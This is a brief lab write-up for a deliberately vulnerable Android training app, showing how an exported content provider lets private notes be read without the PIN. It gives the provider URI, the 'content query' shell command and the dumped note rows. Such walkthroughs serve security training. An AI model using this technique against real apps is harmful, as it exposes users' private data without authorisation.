
Access Control Issues – Part 3

1. The objective is to access the private notes from outside the app without knowing the PIN.
2. After reviewing the source code of the lab, I noticed that there is content provider implemented in **AndroidManifest.xml** and it's enabled. The private note was brought via this content provider. While navigating the source code, I found class named "**NotesProvider**". It has the URI of content.

```
content://jakhar.aseem.diva.provider.notesprovider/note
```

3. I go to the cmd and run this command to use this content provider and get the private note.

```
content query --uri
```

```
content://jakhar.aseem.diva.provider.notesprovider/notes\
```

```
star2lte:/data/data/jakhar.aseem.diva # content query --uri content://jakhar.aseem.diva.provider.notesprovider/notes
Row: 0 _id=5, title=Exercise, note=Alternate days running
Row: 1 _id=4, title=Expense, note=Spent too much on home theater
Row: 2 _id=6, title=Weekend, note=b3333333333333r
Row: 3 _id=3, title=holiday, note=Either Goa or Amsterdam
Row: 4 _id=2, title=home, note=Buy toys for baby, Order dinner
Row: 5 _id=1, title=office, note=10 Meetings. 5 Calls. Lunch with CEO
star2lte:/data/data/jakhar.aseem.diva #
```